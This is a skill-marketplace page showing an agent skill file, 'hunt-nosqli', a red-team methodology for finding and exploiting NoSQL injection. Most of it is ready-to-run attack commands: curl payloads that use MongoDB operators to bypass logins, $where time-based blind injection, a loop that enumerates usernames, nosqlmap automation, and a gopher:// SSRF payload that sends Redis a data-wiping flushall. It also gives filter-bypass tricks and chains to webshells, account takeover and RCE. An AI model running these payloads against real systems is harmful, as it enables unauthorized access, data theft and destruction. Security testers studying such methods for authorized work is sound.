Skip to main content

hunt-nosqli

Hunt NoSQL Injection — MongoDB operator injection ($where, $regex, $gt, $ne), CouchDB, Redis command injection, auth bypass via NoSQLi, data dump. Use when target uses MongoDB/Mongoose, CouchDB, Redis, or shows NoSQL error messages.

Jump to install

Source facts

Repository
uphiago/recon-skills
Last source activity
July 25, 2026 at 13:09
Detected SKILL.md language
English
Stars
1,271
Forks
213

Install options

The review-first prompt is selected by default. You can switch to a direct command or download a local copy.

Review the source files

Read SKILL.md and any companion files shown by SkillsMP before deciding whether to install.

Showing SKILL.md

SKILL.md
Source instructions · Read-only preview
name
hunt-nosqli
description
Hunt NoSQL Injection — MongoDB operator injection ($where, $regex, $gt, $ne), CouchDB, Redis command injection, auth bypass via NoSQLi, data dump. Use when target uses MongoDB/Mongoose, CouchDB, Redis, or shows NoSQL error messages.
version
1.1.0
revision_date
2026-07-25T00:00:00.000Z
license
MIT
category
redteam
tags
["nosql","injection","hunt","redteam"]
# HUNT-NOSQLI — NoSQL Injection ## Crown Jewel Targets NoSQL injection is most valuable when it bypasses authentication (Critical) or leaks the entire user collection (High). **Highest-value chains:** - **MongoDB auth bypass** — `{"username": {"$gt": ""}, "password": {"$gt": ""}}` logs in as first user in collection (usually admin) - **$where JS injection** — if $where is enabled: blind injection → data exfil - **Redis command injection** — via SSRF or direct TCP, SLAVEOF attacker-ip → config write → webshell - **Elasticsearch injection** — _search endpoint with Groovy script injection (pre-5.0) → RCE --- ## Attack Surface Signals ### URL & Param Patterns ``` /api/users/login POST with JSON body /api/search?q= /api/find?filter= /api/query?where= Any endpoint accepting JSON body with username/password ``` ### Stack Signals | Signal | Vector | |--------|--------| | MongoDB error messages in response | Operator injection | | mongoose / monk in JS bundles | ODM patterns | | X-Powered-By: Express | Node.js + MongoDB common stack | | CouchDB/_utils UI exposed | Futon/Fauxton admin | | Redis port 6379 open (via SSRF) | CONFIG SET / SLAVEOF | | Elasticsearch :9200 open | Script injection | --- ## Step-by-Step Hunting Methodology ### Phase 1 — Auth Bypass (MongoDB) ```bash # Operator injection in JSON body curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/login \ -H "Content-Type: application/json" \ -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}' # Regex wildcard — match any username curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/login \ -H "Content-Type: application/json" \ -d '{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}' # ne (not equal) bypass curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/login \ -H "Content-Type: application/json" \ -d '{"username": "admin", "password": {"$ne": "wrong"}}' # in array bypass curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/login \ -H "Content-Type: application/json" \ -d '{"username": {"$in": ["admin","administrator","root"]}, "password": {"$ne": "x"}}' ``` ### Phase 2 — URL Parameter Injection ```bash # Array notation (Express/PHP-style) curl --max-time 30 --connect-timeout 10 "https://$TARGET/api/users?username[$gt]=&password[$gt]=" curl --max-time 30 --connect-timeout 10 "https://$TARGET/api/search?q[$regex]=.*&q[$options]=i" # POST form data curl --max-time 30 --connect-timeout 10 "https://$TARGET/api/login" \ --data "username[$gt]=&password[$gt]=" ``` ### Phase 3 — $where Blind Injection (time-based) ```bash # Test if $where is enabled (time-based detection, 5s delay) curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/search \ -H "Content-Type: application/json" \ -d '{"q": {"$where": "function(){var d=new Date();while(new Date()-d<5000){}; return true;}"}}' # If response takes 5+ seconds → $where injection confirmed # Blind data exfil (username starts with 'a'?) curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/search \ -H "Content-Type: application/json" \ -d '{"q": {"$where": "function(){if(this.username.match(/^a/)){sleep(3000);} return true;}"}}' ``` ### Phase 4 — Data Dump via Regex ```bash # Enumerate usernames character by character for c in a b c d e f g h i j k l m n o p q r s t u v w x y z; do RESP=$(curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/users \ -H "Content-Type: application/json" \ -d "{\"username\": {\"\$regex\": \"^$c\"}}") echo "$c: $(echo $RESP | wc -c)" done ``` ### Phase 5 — Automation ```bash # nosqlmap pip3 install nosqlmap nosqlmap -u "https://$TARGET/api/login" --attack 1 # nosqlmap data extraction nosqlmap -u "https://$TARGET/api/login" --attack 2 ``` ### Phase 6 — Redis via SSRF ```bash # If SSRF found, probe internal Redis via gopher:// curl --max-time 30 --connect-timeout 10 "https://$TARGET/fetch?url=gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a" # CONFIG SET webshell (if Redis has write access to web root) # Use SLAVEOF for OOB data exfil ``` --- ## Bypass Table | Defense | Bypass | |---------|--------| | JSON.parse rejects objects | Use array: `password[$ne]=x` (URL params) | | Sanitizes `$` | Unicode: `$gt` | | Blocks operator keys | Nested objects deeper in structure | --- ## Chain Table | NoSQLi finding | Chain to | Impact | |---------------|----------|--------| | Auth bypass | Admin panel access | Full admin control | | User enum via regex | Credential stuffing | Mass ATO | | $where enabled | Arbitrary JS in DB process | Data exfil or DoS | | Redis via SSRF | CONFIG SET / SLAVEOF | Webshell or data exfil | --- ## Validation ✅ Auth bypass: logged in without valid credentials, received valid session token ✅ Data dump: returned users/documents you shouldn't have access to ✅ Blind injection: confirmed via time-delay (>4 seconds consistent) **Severity:** - Auth bypass as admin: Critical - User collection dump: High - Blind injection (no useful exfil): Medium ## Verification Run this self-test to confirm nosqli hunting readiness: 1. **Skill integrity** — confirm the skill file is readable and well-formed: ```bash grep -q "name: hunt-nosqli" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" ``` 2. **Category check** — confirm the skill has a category: ```bash grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" ``` 3. **Pitfalls section** — confirm pitfalls are documented: ```bash grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL" ``` All 3 tests verify the skill is properly structured and ready for use. --- ## Pitfalls - **NoSQL injection without data exfiltration** — blind NoSQLi returning true/false is harder to exploit. Need data extraction or auth bypass. - **$regex injection without enumeration proof** — if `$regex` is injectable, demonstrate time-based or boolean-based data extraction. - **MongoDB $where injection** — `$where` evaluates JavaScript. This is the highest-impact NoSQL injection variant. - **Operator injection vs value injection** — injecting `{"$gt":""}` in a value field vs injecting operators in the query structure are different attack types. --- ## Related Skills - **`hunt-sqli`** — Traditional SQL injection complements NoSQL; test both on the same parameter. Chain primitive: param accepts both SQL `' OR 1=1--` and NoSQL `{$gt:""}` — test SQL first, then NoSQL operator injection. - **`hunt-auth-bypass`** — NoSQLi login bypass (`{\"$ne\":\"\"}`) is an auth-bypass primitive, not a data-read. Chain primitive: NoSQLi `$gt` bypass → admin panel → chain to further privilege escalation. - **`hunt-ssrf`** — Redis via SSRF is the canonical NoSQL-injection-to-RCE path. Chain primitive: SSRF → `gopher://redis:6379/_CONFIG SET...` → cron write → RCE. - **`hunt-rce`** — `$where` JavaScript injection in MongoDB can reach `child_process` if the DB process has JS engine access. Chain primitive: `$where` with sleep(5000) confirm → data exfil via JS `this.password` → admin hash crack. - **`security-arsenal`** — Pull the NoSQL payload tree: `$gt`, `$ne`, `$regex`, `$nin`, `$where`, `$exists` operators, MongoDB auth-bypass JSON, PHP array injection `param[$regex]=.*` patterns. - **`triage-validation`** — Apply the Pre-Severity Gate. A NoSQL auth bypass that only logs in as the *first* user in a collection (usually a test/admin account) is Critical; one that logs in as a *random* user may be Medium if you can't target a specific victim.
View on GitHub